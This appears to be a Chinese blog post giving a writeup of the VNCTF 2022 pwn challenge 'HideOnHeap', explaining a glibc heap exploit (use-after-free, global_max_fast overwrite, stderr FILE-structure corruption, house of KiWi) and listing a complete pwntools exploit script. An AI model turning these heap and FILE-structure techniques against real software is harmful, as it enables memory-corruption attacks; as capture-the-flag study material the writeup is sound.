VNCTF 2022 Pwn HideOnHeap

今天出去玩了一天回来后,有同学问我今天VNCTF 2022里的一道Pwn题,说是唯一零解的题,我看了下,想了十几分钟就出思路了,写起来也很容易,不牵涉到复杂的堆风水布局,抢在官方wp出来之前分享一下吧,相关附件在BUUOJ上都是有下载的。
漏洞很明显,一个UAF漏洞,flag被读到了堆上,没有show,也没有IO相关的函数,下面说一下思路:先UAF改大global_max_fast,然后free掉存放flag的堆块地址临近的0x14C0大小的大堆块,这样该堆块的地址就写到了stderr_IO_write_base,然后再两次UAF:第一次UAFstderr_flags0xFBAD1887,并且改_IO_write_base的后两位为存放flag的堆块的后两位,第二次UAFtop chunksize,把它改成非法,然后申请个大堆快,触发house of KiWi,就会走到其中的_IO_new_file_xsputn,相当于有IO函数了。其中UAFglobal_max_faststderr都是爆破tcachefdlibc相关地址)的最后两字节,这两个libc位置相对距离一定,所以一次对了,另一次一定是对的,还是只要大约1/16的概率爆破。
下面贴上exp,注意一些小细节就好:

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

s = process('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# s = remote("node4.buuoj.cn", 25580)
# libc = ELF('./libc.so.6')

def add(size):
	s.sendlineafter(b'Choice:' , b'1')
	s.sendlineafter(b'Size:' , str(size).encode())

def edit(index,content):
	s.sendlineafter(b'Choice:' , b'2')
	s.sendlineafter(b'Index:' , str(index).encode())
	s.sendafter(b'Content:' , content)

def delete(index):
	s.sendlineafter(b'Choice:' , b'3')
	s.sendlineafter(b'Index:' , str(index).encode())

def pwn():
	add(0x14b0) # 0

	for i in range(7):
		add(0x50) # 1-7
	for i in range(7):
		add(0x60) # 8-14

	add(0x90) # 15
	add(0x90) # 16
	add(0x90) # 17
	add(0x90) # 18

	add(0x420) # 19

	for i in range(1,8):
		delete(i)

	for i in range(8,15):
		delete(i)

	delete(15)
	add(0x90) # 1 = 15
	delete(16)
	add(0x90) # 2 = 16

	delete(19)
	add(0x420) # 3 = 19
	delete(19)
	add(0x410) # 4

	edit(3 , b'\x00'*0x410 + p64(0) + p64(0x233))

	for i in range(7):
		delete(15)
		edit(1 , b'a'*0x10)

	delete(15)
	add(0x10) # 5
	edit(1 , b'\x80\xbb')
	add(0x90) # 6
	add(0x90) # 7 global_max_fast
	add(0x70) # 8 to clean unsorted bin

	for i in range(2):
		delete(16)
		edit(2 , b'\x00'*0x10)

	delete(16)
	add(0x10) # 9
	edit(2 , b'\xc0\x95')
	add(0x90) # 10
	add(0x90) # 11 _IO_2_1_stderr_

	edit(7 , p64(0x666666))
	delete(0)

	edit(11 , p64(0xfbad1887) + p64(0)*3 + b'\x00')

	edit(7 , p64(0x80))
	add(0x888)
	s.interactive()

if __name__ == '__main__':
	pwn()
posted @ 2022-02-12 23:24  winmt  阅读(450)  评论(1编辑  收藏  举报